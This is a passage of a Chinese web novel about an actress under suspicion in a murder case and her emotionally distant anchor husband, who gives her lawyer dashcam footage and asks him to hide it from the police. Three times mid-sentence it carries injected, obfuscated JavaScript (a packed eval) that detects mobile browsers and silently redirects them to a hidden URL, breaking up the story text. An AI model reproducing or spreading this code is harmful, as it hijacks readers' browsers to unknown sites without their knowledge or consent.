心脏猛烈跳动,窒息凝固了五感,不知道自己漂浮在哪里,也不知道下一刻还会不会被浪花卷入冰冷的海水中。 只是浪尖上的这一刻。一切好的尚未逝去,一切坏的都未发生,哪怕下一秒便会粉身碎骨,濒临死亡前,幸运地留有最后一丝念想。 作为茫茫众生中的一员,在地球演化亿万年间反复上演的平凡日落之下,江知渺的声音,独独呼唤着他的名字。 他停下脚步,那个令他无法停止梦魇的窈窕身影,突然不真实地出现在眼前。前进的人群与她逆向而行,随着她与更多人擦肩而过,也有更多的人回过头来看她。 邵聿毫不费力就能从无数张脸庞中捕捉到她,她的眼睛像两瓣初绽的梨花,不施浓墨却自带风雅,透出十足清冷的气质。抬眸时又化作一汪春水,瞳孔边缘总是晕开一圈柔雾。一旦看着谁,就有夺人心魂的能力。 上帝之手所能画出的最流畅均匀的线条,精心勾勒出极致标准的鹅蛋脸,她的下颌微尖,脸颊也比上一次进组前瘦削不少。邵聿知道这段时间她一定又是一门心思扑在研究戏上,饮食休息都顾不得。 乌黑浓密的大波浪跟随她的步伐轻轻跃动,掀起裹挟着邵聿的那丛浪花,将他抛得越来越高。 他几乎是求助般地看着她,希望她能够将自己从万米高的高空放下来,可她的眼中总有抹不掉的火花,闪烁着比落日余晖还要耀眼的光芒。 那束火焰的名字叫做野心——他深爱着也痛恨着的东西。 这东西让他自惭形秽起来,他开始懊悔没有换一身熨烫过的西装,没有穿戴上主持人体面的皮囊,而就像个呆子一样,毫无还手之力,等着她一步一步靠近。 随着她不断接近,邵聿慢慢适应了这突如其来的陌生场面,习惯了难以承受的快速心跳,大脑重新获得理智的支配权,指示着双脚向前迈去。 五步、四步、三步……他们越来越近,在两个人之间,很快就不会间隔任何路人了。 可就在他们停下脚步,长久以来终于有机会面对面注视对方时,突然出现的清亮声音,打乱了邵聿所有心事。 “诶,你是江知渺,对吧?” 江知渺闻声看过去,一个身着酒红色职业装的高挑女人,踩着约莫十厘米的高跟鞋,向她走过来,胸前挂着的工牌随着脚步高低晃动。 “邵大主持人的妻子,早有耳闻,可惜一直没有机会见一见本人。你好,我是国立电视台新闻部记者,李璟意,幸会。”说着,她伸出一只白皙的手。 江知渺握住她的手,手掌的冰凉让她不自觉地缩了一下,对方却似乎有意握得更紧。 她端详着面前这个陌生女人的神情,企图从她生动的脸上找出这份敌意的来由。可惜即使她用上了演员十成十的功力,也没能从她礼貌的微笑中发现什么端倪。 不愧是国立电视台的新闻记者,江知渺心中暗忖。她微微上扬的嘴角噙着猜不透的深意,高高突出的眉骨下,一双漂亮的杏眼目光如炬,似乎要用眼睛将所有人的心思都看穿。 “哇,本人比电视上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599455|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要美啊!”李璟意毫不掩饰自己的热情,目光明晃晃地在她的脸上打量,随后又看向邵聿,“邵聿,你也真够小气的,怎么从来不见你带着家属来参加台里的聚餐呢?” 江知渺不知道她是不是有意,状似随口一提,却正好击中了他们两人的软肋:他们几乎从来没有一同出现在亲友同事面前,甚至连电视台有聚餐,她都是第一次听说。 “是我工作太忙了,以后有机会一定多参加。”她没敢看邵聿的表情,客气地搪塞道。 “还是工作要紧。”李璟意忽然又善解人意起来,江知渺还没来得及转换话题,就又被她抢先说道:“最近你应该更忙了吧,还要接受警方的调查……” “李璟意。”邵聿终于开口了,离开摄像机,没有话筒,他的声音松弛了很多,可这一声还是让人听出浓浓的警告意味。 “别误会啊,我没有别的意思。”李璟意并没有被他唬住,反而一双眉眼笑得更弯了,“咱们这么多年同事的情谊,我就是想帮帮忙。” 说着,她回过头,向身后挥了挥手,一位高大的男人身着西装,正稳步向他们走过来。 两个人对视一笑,男人自然地环住她的肩膀,李璟意盯着江知渺说道:“介绍一下,这位是我老公,杨灝,君泽律师事务所的刑事律师。他有非常丰富的刑事案件处理经验,如果你还没有找到合适的律师的话,不如让他来做你的律师。” 她的一席话让在场其他三个人都吃了一惊,尤其是杨灝,难以置信地低头看着她,刚要开口说什么,李璟意就对他皱了皱眉。 他轻叹着松开环抱妻子的手臂,从西装外套中掏出一张名片,递给江知渺。 可江知渺刚刚将精致的名片拿到手中,还没来得及细看,就被身旁的邵聿一把夺了过去。 “谢谢你的好意,她目前没有聘请律师的计划。”邵聿的语气几乎是冰冷的,随意地将名片塞进了自己的口袋。 李璟意无奈地笑道:“不用这么大的敌意嘛,我是真心为了你们着想。前天晚上我也在警察局外,整夜的问讯,就算是铁人也会扛不住的。君泽是业内数一数二的律所,事关重大,还是得选一个靠谱的律所。” 江知渺收敛起礼貌的微笑,碍于邵聿与她的同事关系,克制住了自己的脾气。李璟意这些言语似乎认为自己就是真凶,只是觉得她会掩盖不住似的。 她本想给自己争辩两句,却被邵聿截住了,刚刚冷下来的声音又恢复了主持人的严肃端正,“目前警方的调查尚未结束,我的妻子仅仅是参与调查,并非犯罪嫌疑人。关于谁是真凶,一切推测都为时尚早,还要进一步等待警方的结论。” 多么清晰的咬字,多么完美的句读,多么正规的内容,可江知渺的心底却像是被寒冰封住了一样,似乎这声音的主人离她越来越远。 她捕捉到了李璟意难以掩饰的笑意,那双极具审视威力的眼睛,意味深长地冲她眨了眨,然后又摇身一变,变得若无其事,说道:“好吧,那我们就拭目以待吧。” 江知渺看懂了她笑容背后的深意,更加因为看懂了她的嘲讽而浑身发冷。而寒意的来源,就是身旁站着的、他的丈夫——邵聿。 8. 质问 仲夏夜晚的风是极温柔的,拥有抚平一切的能力。刘姨的手艺一向很好,江知渺忍不住多吃了几口,加上红酒的作用,头也有些昏沉。 她搀扶着邵聿的父亲走到门口,笑着叮嘱道:“爸,您不用出来送我们了。最近天气热,一定要注意身体,在公司也不要贪凉,记得按时吃饭。” 邵永泽轻抿嘴唇,难得地放下严厉的神情,嘱咐她也要注意身体,照顾好自己。 花园外响起了汽车发动机的声音,江知渺退后一步,向邵永泽鞠了一躬,这才向外走去。 她刚一坐上副驾驶,连安全带都没有系好,邵聿就发动了车子,江知渺从右侧的后视镜里,依稀还能看到邵永泽拄着拐杖的身影。 她几次吸气又放下,终于还是忍不住说道:“爸年纪大了,你也该多来看看他,别让他老人家担心。” 车子缓缓滑行,停在红灯前。邵聿看向左侧窗外,这里距离市中心不近,建筑密度极低,晚上十点钟,对向车道几乎没有车辆,视野非常广阔。 “我从来也没想让他为我担心。”他搭上方向盘,踩下油门,车子再次启动。 江知渺无奈地靠在头枕上,结婚七年,她一直在努力缓和邵聿和他父亲的关系。早年间,邵永泽忙于家族集团的工作,对他们母女俩缺少关怀,甚至不知道邵聿的母亲身患胃癌。 母亲去世后,邵聿就与父亲几乎走向决裂,尤其是后来他拒绝继承父亲的产业,毅然选择播音主持专业,更是导致父子俩的隔阂越来越深。 过了这么多年,她从中调和,却没有任何的进展。江知渺越来越摸不清,邵聿的心结到底在哪里。 自从《凤皇止阿房》开机以来,无论是工作还是生活,她就始终处在紧张的状态中。此时静谧的夜色与寂静的车厢,催促着她身体中深藏的疲惫席卷而来。 忽地,昏沉的思绪被邵聿的声音打断,“你为什么要同意让李璟意她爱人做你的律师?” 江知渺缓缓睁开眼,窗外飞速滑过的绿化带让她心烦意乱,可她不愿意去看邵聿说完这句话之后的表情,仍然望向窗外。 “刑事领域,君泽律师事务所排名第一,杨律师又是君泽的知名律师,我为什么不能请他?” 江知渺回想着傍晚在电视台发生的事情,她隐忍多日的愤怒被李璟意的嘲讽击中,于是她不顾邵聿的阻拦,主动向杨灝再次索要一份名片,现场立刻告诉他,自己要聘请他为自己辩白。 她知道邵聿一定对她的所作所为有很大的意见,可她偏偏要赌这一口气。 她是他的妻子,生命中最亲近的人,然而他对柏霆宇的父母、对同事甚至是对他自己的父亲,都是用旁观者的口气,说出最冰冷的话语。 「……关于谁是真凶,一切猜测都为时尚早,还要等待警方的结论。」 正确、得体甚至是无懈可击的一句话,对江知渺来说却过分残忍。 一刹那的冲动战胜了理智,她突然感到很委屈,深深地提起一口气,问道:“你又为什么要对他们那样说?” 车子平稳地行使在空无一人的道路上,平稳得让江知渺恍惚间以为自己坐在一艘船上。这艘船载着她和邵聿飘荡在毫无波澜的死水水面,她以为在前进,但永远停留在原地。 “如果是指你的事情。”邵聿思考片刻,终于给她答复,“作为新闻工作者,传达事实,是我的职业习惯。” 江知渺用力握住安全带,看着他的侧脸,“现在是关于我,不是等待你去揭露黑暗去拯救的普罗大众!我们结婚七年了,你不知道我是什么样的人吗?” “我不认为在调查结束前,我的说法会对实际情况或者他人的想法产生什么影响,所以我只能理性地说出客观事实。” “理性,又是理性。”江知渺冷笑一声,“难道对自己的妻子,你都没有任何主观的情绪吗?难道就说不出无条件信任这种话吗?” 面对她的质问,邵聿没有回答。他平静得像是没有感受到她的愤怒,目光笔直地看向前方的道路,江知渺连他的余光都捕捉不到。 她无法被邵聿的解释说服,假如他相信自己与案件无关,又怎么会有这样淡漠的态度? 一个她不愿相信的念头骤然出现在她的脑海里,可怕的是,这个念头恰好能回应她的困惑。 江知渺靠回椅背,张了张嘴,紧绷的喉咙第一时间没能发出声音,而后,轻飘飘地抛出了最后的问题。 “难道,你也觉得人是我杀的吗?” 车子在下一个红灯慢慢停下,四十五秒的等候时间,每一秒都格外漫长,甚至煎熬。 在倒计时缓缓归零的一瞬间,随着车速瞬间提升带来的失控感,江知渺似乎听见自己的心停跳了一拍。 “停车,我要下车。” 邵聿没有阻拦,把车子缓缓停靠在路边。江知渺解开安全带,一把推开车门,跨步迈下车去。 在关闭车门前,她最后留下一句:“我没有杀他。我和他,什么都没有。” 车门“咚”的一声关闭,邵聿再次发动汽车,后视镜里江知渺的身影越来越远,很快就看不到了。 他在下个路口猛打方向盘,将车停靠在路边一棵古老的大树下,从兜中掏出那张被他潦草折叠的名片。 他一动不动地注视着名片上的姓名,上翘的眼角低垂着,过了许久,还是拿出手机,拨通了上面的电话。 “喂,您好,请问是杨灝律师吗?” “我是邵聿。关于你的新客户江知渺,有些东西,我想你有必要提前看一看。” “好,三十分钟后我会到你的办公室。” 江知渺下车后,本想拿出手机打车,刚好看到了柯妙妙发来的消息,于是拨通了她的电话,约好在A市郊区一家僻静的酒吧相聚。 柯妙妙赶到时,江知渺已经喝得半醉,正百无聊赖地用手指敲击着高脚杯。 她站在门口,无奈地摇了摇头。大学时期,她们的四人寝室只入住了三个人,她、江知渺以及梁栖月。要说起关系的亲密程度,她和江知渺要更近一些,也是江知渺让她操心最多。 她走上前去,手在她的肩上轻轻一搭,拿过她手里的酒杯,大剌剌地喝了一口,“说吧,你和邵聿又怎么了?” 江知渺眯起眼睛,在酒后模糊的视野里认出是柯妙妙,冲她绽开一个灿烂的笑容,“你怎么知道是关于邵聿啊?” 柯妙妙忍住翻白眼的冲动,抬手叫来一杯低度数鸡尾酒,将她的那杯推还给她,“第一,你十次叫我出来喝酒,有九次都是因为邵聿;第二,你会喝得这么醉,只可能是因为邵聿;第三,我的眼线拍到你今天去电视台接邵聿下班,此时没去你侬我侬,还能是因为什么?” “嘿嘿,不愧是娱乐圈第一狗仔,真厉害……”江知渺拿起酒杯,和她的轻碰了一下,仰头一饮而尽。 柯妙妙冲着还要来送酒的服务员摇了摇头,拉着江知渺问道:“行了,说正事吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599456|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好长时间没听你提起邵聿了。” 江知渺被她握住肩膀,在摇摇晃晃间,神志被迫清醒,她透过柯妙妙清秀的双眸找寻自己的影子,努力让瞳孔聚焦。 “你后来,还有在调查当年那个人吗?” 她的话像一颗投入平静湖面的石子,瞬间激起柯妙妙心中的千层涟漪。她皱起了不施粉黛的眼眉,手也不由自主地握紧酒杯:“为什么突然提起他?” 那个把江知渺骗进金主的酒局,又在她艰难逃脱后,将她全网封杀的人,柯妙妙以为自己已经忘了。随着时间的流逝,伤口逐渐愈合,却没成想,疤痕下的隐痛始终都在。 她不自然的微表情引来江知渺关切的眼神,江知渺双手握住柯妙妙的手,用掌心去温暖她僵硬的手指:“别担心,我只是……” 江知渺停顿了许久,咬着下唇,思索自己该如何措辞,终于在良久后,将手臂颓然地垂了下去:“我只是不知道,他为什么当年能够无条件信任我,如今却……” 柯妙妙听懂了,当年江知渺被曝出陪酒的负面新闻后,邵聿直接选择向她求婚,用一纸婚书证明了她的清白。 对于那个混乱的夜晚,柯妙妙是唯一知道全部实情的人,就连她听到两人的婚讯后,都吃了一惊。如今江知渺再次被绯闻缠身,在旁观者的眼中,邵聿却变得愈发若即若离起来。 “他就像个局外人一样,用那种讨厌的、官方的语气跟所有人解释,好像,好像我不是他的妻子,倒像是新闻里,几千公里外的一个陌生人……” 柯妙妙静静地听着她,用酒后断断续续的话语控诉邵聿的行为,时不时扭过头,用迷离的眼神望着她,眼底写满了困惑。 烈酒冲头,很快,江知渺就敌不过酒劲催发的困意,枕着自己的手臂,合上双眼,睡倒在桌面上。 柯妙妙一动不动地坐了好久,直到服务员问她还要不要点酒,她才回过神来。 她推了推江知渺:“先别睡,我还有话要问你,你是什么时候知道,柏霆宇对外宣布的家世造假的?” 柏霆宇的父母到她家大闹的那天,柯妙妙才从梁栖月那里得知,声称父母是意大利资深制片人的柏霆宇,实际上是一个在贫困山区长大的孩子。 可更令她们惊讶的是,面对突然到来的老人,江知渺竟然丝毫没有震惊,像是早就熟知柏霆宇的真实身世。 江知渺沉睡的脸庞没有给她想要的回应,她兀自沉思了一会儿,掏出手机,本想进入拨号页面,却习惯性地点进了微信,进入自己的娱记工作室群聊。 群聊最下方显示“本群已被群主解散”,而解散前最后一条消息,是她的一个线人发来的视频: 暧昧昏黄的灯光下,年轻男人似乎喝醉了,踉跄着向镜头的方向走来,停在一个房间门口。 随着他轻轻叩门,木门从屋内打开了。一位身材纤瘦的女人走出来,站在门口,与年轻男人仅仅相隔两掌宽,几乎是紧贴着说了几句话。 最后,男人张开怀抱,将女人揽进怀中,相拥着推开房门走了进去。 视频中的男人,是柏霆宇。 而从清晰的偷拍画面中,任何人都能认出,那个女人,就是江知渺。 柯妙妙的手停留在视频之上,犹豫了片刻,最终还是飞快地关闭微信,给最近通话顶端第一个号码拨了过去:“喂,周屹泽,是我,柯妙妙。” “知渺在酒吧喝醉了,我有些事情要处理,麻烦你送她回家吧。” 9. 录像 邵聿抵达君泽律师事务所时,已接近凌晨十二点,整栋大楼的照明设备早已关闭。他按照名片上的指引来到45层,漆黑的办公区里,只有一间办公室的门缝露出一丝灯光。 “邵先生,您好啊。”杨灝迎上前来,向他伸出手。 他长了一张典型的北方人面孔,看不出律师的精明感。天圆地方的额头上有着一对浓黑的宽眉,为他增添了几分老实正直。宽阔的双眼皮下方,双眼炯炯有神,目光十分真诚,笑起来时,眼角挤出两条不甚明显的纹路。 邵聿回握住他的手,“杨律师,您好,抱歉这么晚来打扰您。” 杨灝豁达爽朗地笑了起来,“没关系,干我们律师这行的都是二十四小时待机,您来之前我刚刚接待完另一位客户。” 他给杨灝端上一杯温水,略显尴尬地挠了挠头,“不好意思,招待不周。我平日里不喝咖啡和茶水,现在前台下班了,我这里只有白开水。” 邵聿在电视台工作,见过了太多形形色色的人,杨灝的一举一动间都透露出谦逊,与他老婆李璟意截然不同,这倒是让他有些措手不及。 他大方地接过杯子,也回以礼貌的微笑,“没关系,我的事情很快就能说完。” 杨灝立刻收起了笑容,坐回办公桌前,拿出律师的职业感,“邵先生,有句话我必须要提前告诉您:江知渺女士是我的委托人,作为律师,我的一切行动只会在法律准则的基础上,维护她的利益最大化。虽然您是她的配偶,但假如对她有所不利,我仍然会优先……” “确实是对她不利的事。” 邵聿突然开口打断了杨灝的例行提示,他愣了一秒,迟疑地问道:“您是说,您今天要和我讲的事情,对于洗清她的嫌疑,有所不利?” 邵聿点了点头,从手提包中拿出一个硬盘,眼神如鹰喙一般锋利,死死地衔住杨灝震惊的双眼,“所以我希望,你能让警察永远都看不到。” 他的声音庄重威严,在空旷的摩天大楼中自带阵阵回响,仿佛来自空中的低语,杨灝不禁打了个冷战。 江知渺感觉到自己被人搀扶着坐进一辆轿车,对方小心翼翼地把她安顿在座椅上,轻柔地扣好安全带。 车内隐约洋溢着阵阵清香,不是廉价车载香薰的刺鼻香味,倒像是……江知渺闭着眼睛,用力地吸了吸鼻子:像是鲜花的香气。 坐在驾驶位的人似乎感受到她在嗅闻,很快就放下了车窗。夏夜的清风吹散了鲜花的幽香,扑鼻而来的是路边清新的草木香。 车辆的速度使得擦肩而过的空气也被挤压,一阵阵紧密相连的风,在她的耳廓发出连续“空——空——”的声音。 她已经很久没有听到这种奇妙声响了,肉体凡胎与自然的友好碰撞,让她感到自己格外渺小,却也格外安心。 声音,她突然想起了邵聿的声音,好像一下子回到了七年前,那个在她疯狂逃跑的路途上,不期而遇的人。 当时他分明什么也没问,不问她为什么要去,也不问她为什么要逃,只是将她安全地送回家中,在她租住的公寓客厅守了一夜。 第二天一早,在她还没来得及看一眼新闻、没有接触到任何外界消息的时候,突然问她:知渺,你愿不愿意嫁给我? 江知渺转过头去,想看一看是谁在驾驶这辆飘溢着花香的车。 饱满的脸颊,黝黑的皮肤,厚实的唇瓣,闪闪发光的徽章,整洁合身的警服——江知渺这才意识到,这不是邵聿。 周屹泽将车缓缓驶入地下车库,他看了看沉睡着的江知渺,决定先行下车去按门铃。 很快,从电梯中走出一个身着休闲居家服的男人。邵聿下来得很急,甚至没有换掉拖鞋,在看到周屹泽后,毫不掩饰地黑了脸。 周屹泽引着他来到自己的车前,拉开副驾驶的车门,本想将睡得歪歪扭扭的女人抱出来,却被人从身后紧紧地锁住了手臂。 “别碰她。”邵聿毫不客气地将他推开,探进副驾驶,一手搭在她的脑后,一手勾住腿弯,把人抱了出来。 “她喝了很多酒,我车里有解酒药,你记得给她吃点,不然明天会头痛。”周屹泽甩了甩被邵聿推得生疼的手腕,到后备箱去拿药。 “不用了。”邵聿叫停了周屹泽的脚步,径直往电梯间走去,“我们家里也有。” “我们家”这三个字加了夸张的重音,周屹泽听得真切。他忧心忡忡地看着邵聿走进电梯,消失在视线里,只能发出一声叹息。 返回车中时,周屹泽的余光瞥见放在后座的那束鲜花。 这不是专门为江知渺买的,他接到柯妙妙电话,从警察局出来的时候,刚好碰到卖花的老奶奶。她手中只剩下这最后一束花没有卖出去,随着天色渐晚,花瓣也有些凋零,更是无人问津。 周屹泽上前去将花买了下来,一路也没有下定决心,要不要将这束花送给江知渺。 他驾驶着车辆离开江知渺家,瞥了一眼空空如也的副驾驶,还是一脚刹车,把已经枯萎的花,放在了垃圾桶旁边。 江知渺完全清醒过来时,已是第二天的中午时分。宿醉后虽然没有预料中的头痛,可还是觉得头脑异常沉重,浑身也犯懒。 她从冰箱中翻出一袋全麦面包,本想随意垫几口,一个陌生的号码突然打了过来。 “喂,您好,您是……?” “江女士您好,我是昨天和您见过的律师,杨灝。” 江知渺放下面包,走到宽阔的窗前,“噢噢,是杨律师,您好。” “不知道您今天是否有时间,我们见一面?” 江知渺立即答应了下来,跟他约在家附近的西餐厅见面。她听梁栖月念叨过找律师的事,昨日李璟意主动推荐,刚好帮她解决了难题。 她自然不相信李璟意有那么好心,饶是她与邵聿再生疏,也听说过李璟意与邵聿是多年的竞争对手,两人曾经是午间新闻主播席位最有利的候选者。 尽管现在两个人都没有成为新闻组的主播,可作为国立电视台的中流砥柱,仍然少不了竞争。 李璟意推荐杨灝做她的律师,显然是想打探柏霆宇案件的真相,拿她和柏霆宇的绯闻做些文章,影响邵聿的公众形象。 既然李璟意想要把杨灝当做棋子,安插在她的身边。那么她又为何不充分利用这次机会,让她彻底放弃把自己当做邵聿的把柄呢? 江知渺选好一身低调的装扮,戴上墨镜,准时到达西餐厅,发现杨灝已经在预定好的桌子就坐了。 看到她走过来,杨灝绅士地帮她拉开椅子,“江女士,请坐。” 说了几句话之后,江知渺发现,眼前的这个律师和她从前接触过的很不相同。 他没有带助理,也不急于谈论正题,而是像朋友一样,先向她介绍了餐厅的招牌菜,说得头头是道,又聊了聊作为电视台工作人员家属的心情体会。直到用完午餐,他才拿出委托协议,请江知渺过目。 昨天这份协议就已经发给了梁栖月,工作室的同事连夜审核过,不仅没有发现问题,甚至怀疑她是不是遇到了骗子。 原因很简单:律师费少得几乎可以忽略不及。 “杨律师,我还有一个问题,您为什么要将律师费定的这么低?” 杨灝险些被红酒呛到,尴尬地笑道:“咳咳,我以为这是好事?” “目前我在配合调查的,毕竟是一桩杀人案,加之其中涉及的都是公众人物,您作为业内排名第一的君泽律师事务所的律师,即便是将费用抬高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599457|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一倍,也不是没有竞争力。” 杨灝突然像青涩的学生一样,腼腆地笑了,“这个嘛……毕竟是我老婆让我接的案子,那我肯定得好好做,不能让她为难。”说着,他转动起无名指上的素戒。 江知渺认可了这个理由,举起酒杯示意道:“明白了,是我想多了,杨律师和妻子的感情真好。” “您和邵先生才是男才女貌,昨天我去电视台给我老婆送晚饭的时候,很远就在人群中注意到你们夫妻俩。” 江知渺正在签协议的手顿了一下,她轻声回了一句“谢谢”,将签好的委托协议交给他:“之后我的事就麻烦杨律师了。” “您放心,我一定会尽我所能,帮助您顺利完成警方调查。”他将委托协议细致地整理好,放回手提包里。 “江女士,我需要了解您在案发当天都去了哪里,做了什么。”说到工作事宜,他的神情明显严肃起来,一对宽眉微微蹙起。 “那天我从F市飞回A市,下午五点半左右,飞机准时降落,大约七点四十分,我回到家中。 晚上10:17,柏霆宇给我发微信,说是有事要跟我说,让我去VeilMansion六层的套房找他。我打车到达酒店大厅时,已经接近十二点了。 当时还有其他人在等电梯,为了避免麻烦,我选择了走步行梯上楼。但是当我走到三层时,酒店的火灾警报响了,所以我没有继续上楼,直接离开回家了。” 她讲述的时候,杨灝在随身携带的本上认真记录,不时点点头以做回应。 等她说完,杨灝才开始询问:“您是从一层大厅离开的吗?” 江知渺摇了摇头,平静地回答道:“报警器响后,很多人都会向外跑,我不想被人认出来,所以就继续下楼,从地下二层的停车场离开。” 担心自己说得不够清楚,她又快速地补充了一句:“如果被人拍到一个女艺人半夜出现在酒店,会很麻烦。” “理解,我能理解。”杨灝重重地点了点头,笔在纸面上轻轻勾画,“那您在楼梯间,有没有看见过什么可疑的人?” 江知渺后仰靠在椅背上,舒展地拿起玻璃高脚杯,微微抬起纤长的脖颈,优雅地抿了一口,“没有,我没有看到过别人。” 杨灝记录的笔停了下来,抬起头与江知渺对视,她的一双黑眸如同平静无澜的湖水,又像是深不见底的黑洞。 “好的,江女士,您这边的情况我已经了解,我也会尽快跟警方了解最新的调查进展,有什么新情况,我们随时沟通。” 目送着江知渺坐上出租车,杨灝提着的一口气才稍稍放下。他拦了一辆出租车,去往反方向的办公室。 进入办公室的第一时间,他从抽屉里找到邵聿给他的那个硬盘,连通电脑,清晰的行车记录仪画面开始播放。 画面内,原本只有远处停着零星几辆车。然而,当左上角记录的时间走到零点后,画面中突然出现一个行色匆匆的女人。 她踉踉跄跄地向前跑,不时回过头去,似乎在看有没有人追上来,甚至因为脚步太过慌乱,几次险些摔倒。 随着她逐渐靠近画面中央,可以看到她满脸的惊慌失措,泪水充盈在眼底,唇瓣张开,大口大口地急促呼吸着稀薄的空气。 她出现的时间非常短暂,仅仅五秒后,就消失在画面当中,只剩下空荡荡的停车场。 昨晚杨灝第一次看到这段视频时,惊讶得许久都说不出来话。还是邵聿在视频播放到第三遍时,主动为他解释:“这是案发当晚,VeilMansion的地下停车场。” 他站在杨灝身旁,按下暂停键,指着画面中那个慌张的女人,说道:“我想你应该已经认出来了,视频中的这个人,是江知渺。” 10. 嫌疑 杨灝心中有无数个疑问,却不知从何问起。邵聿像是会读心一般,没等他开始发问,就沉声回应道:“这个视频是我的行车记录仪拍到的,那天晚上,我在VeilMansion的停车场。” “不过,你不用怀疑我。如果人是我杀的,我不可能主动把这个视频交给你,更不会告诉你我也在那里。” 杨灝关掉录像,将屏幕也一并熄灭,转动座椅,面对着邵聿问道:“那么,为什么要让我看到这个视频?” “我希望你在为知渺辩护时,考虑到她是真凶的可能性。” 他直白的一句话,又将杨灝刚刚整理好的思绪彻底打乱了,他这才明白邵聿今晚来找他的目的。 这份行车记录仪录像虽然不能证明江知渺就是杀人凶手,可却清楚地显示出案发时间里她的慌乱。 视频中,楼梯出口周围并没有停车。当晚VeilMansion的监控也已全部丢失,在那个僻静的角落,或许只有眼前这份录像,记录了当时江知渺落荒而逃的样子。 无论是谁看到这段画面,都会怀疑,江知渺是在杀人后惊慌失措地逃跑。 做了这么多年律师,杨灝听懂了邵聿的潜台词:他担心律师因为不知道这一情况,武断地做下“江知渺是无辜的”的判断,让她陷入不利的境地。 更进一步,对于邵聿而言,无论她是为什么而逃跑,已经不重要了;重要的是,他希望没有任何证据能够证明,在案发当晚,她曾经异常心虚慌乱。 杨灝不由得再次审视起面前这个平静的男人来,他穿着一身熨帖的西装,宛如一尊宁静的雕像,安坐在他的面前,神情不像是在请他帮忙掩饰妻子的杀人嫌疑,倒像是在和他谈公事。 作为律师,杨灝不能不在意视频中江知渺这些行为背后的原因。然而江知渺给出的答案,也让他不得不做好最坏的打算。 既然她说没有在上下楼梯的过程中遇到其他人,那么只可能是在房间里发生了什么。换句话说,杨灝根本无法排除江知渺在对警方和自己撒谎的可能性。 整整一个下午,杨灝都将自己关在办公室里,拒绝了一切来访和会议。尽管做了多年刑事律师,也接触过不少穷凶极恶的罪犯,可他仍然难以接受,江知渺是杀人犯的这种猜想。 昨天去接李璟意下班时,当听到妻子推荐自己做江知渺的律师,他是跃跃欲试的。他以为自己从荧幕上的那个江知渺,看清了她本人,本想帮她洗清莫须有的嫌疑,但不利的证据此刻却意外出现在眼前,这种情况在他的职业生涯中也并不多见。 杨灝不禁感慨起来,邵聿究竟是如何做到毫无波澜地将这份“罪证”交给他,又是如何能够轻描淡写地让他帮忙掩盖。 直到晚上回到家中,坐在书房里,杨灝的思绪仍然被这对夫妻充斥着,连李璟意开门回家的声音都没有听到。 “想什么呢,这么入神?”李璟意随意地靠在书桌桌沿,双手捧起他的脸问道。 “没什么,就是工作上的事。”杨灝覆上她的手,“晨晨呢?” 李璟意佯作生气,推开他的手,“妈昨天打电话说想晨晨了,接过去住两天,你不是听到了吗?” 杨灝这才从杂乱的头绪中,回忆起今早来自他妈妈的电话。老人思念孙女,准备了各种好吃的好玩的,晨晨一听,连觉都不想睡了,嚷着要回去找奶奶玩。 李璟意看出他心不在焉,再次问道:“今天真的没发生什么事?” 李璟意那双杏核一样明媚的眼睛此时充满了关切,让他心头一阵温暖,“就是中午去见了一趟新客户,路途比较远,可能是开车累了。” “新客户?”李璟意思索了两秒,突然跳了起来,凑到他面前,激动地问道:“是江知渺吧!” 见杨灝点头,她瞬间精神起来,“怎么样怎么样,她都说什么了?人究竟是不是她杀的?她和柏霆宇是不是情人?” 面对李璟意一连串的问题,杨灝无奈地笑了笑,站起身来,体贴地托住她的肩膀,“都多大人了,还这么八卦。” “她要不是邵聿的老婆,我才懒得管。”李璟意翻了个白眼,“娱乐圈那点床上料,有什么值得报道的?” 她让杨灝接下这个案子,就是想套出点邵聿的把柄来。鬼知道台里为什么总是让他俩竞争! 刚毕业进台里的时候,他们两人竞争一个早间新闻主播的位置,结果她因为怀孕退出了竞争,邵聿也莫名其妙地放弃了。 现在她是新闻部的主力记者,邵聿则是综合部的知名主持,按理说他们应该没有什么交集了。可总有风言风语在传,领导层正在对他们两人进行长期考察,最终会确定一人,顶替即将退休的资深主持人佟彬,成为黄金时段晚间新闻的主播。 而工作中,两人也并非想象中的那样和平。各种策划、摄影、剪辑、后期老师都是稀缺资源,为了让自己的项目能够更快更好地播出,他们也没少竞争。 假如邵聿的妻子出现负面舆情,即使并非是故意杀人这样的刑事犯罪,单是出轨,就足以让邵聿在这场争夺中败北。 “我知道你是为了工作,但作为律师,我也要保护客户的隐私,是不是?”杨灝温柔地抚过她的发丝,轻声说着。 “也就是说,她真的有什么不可告人的秘密了?”李璟意抓住了他言语里的漏洞,兴奋地眨了眨眼睛。 “老婆。”杨灝叹了口气,“在我面前,可以不用这些记者的技巧吗?” 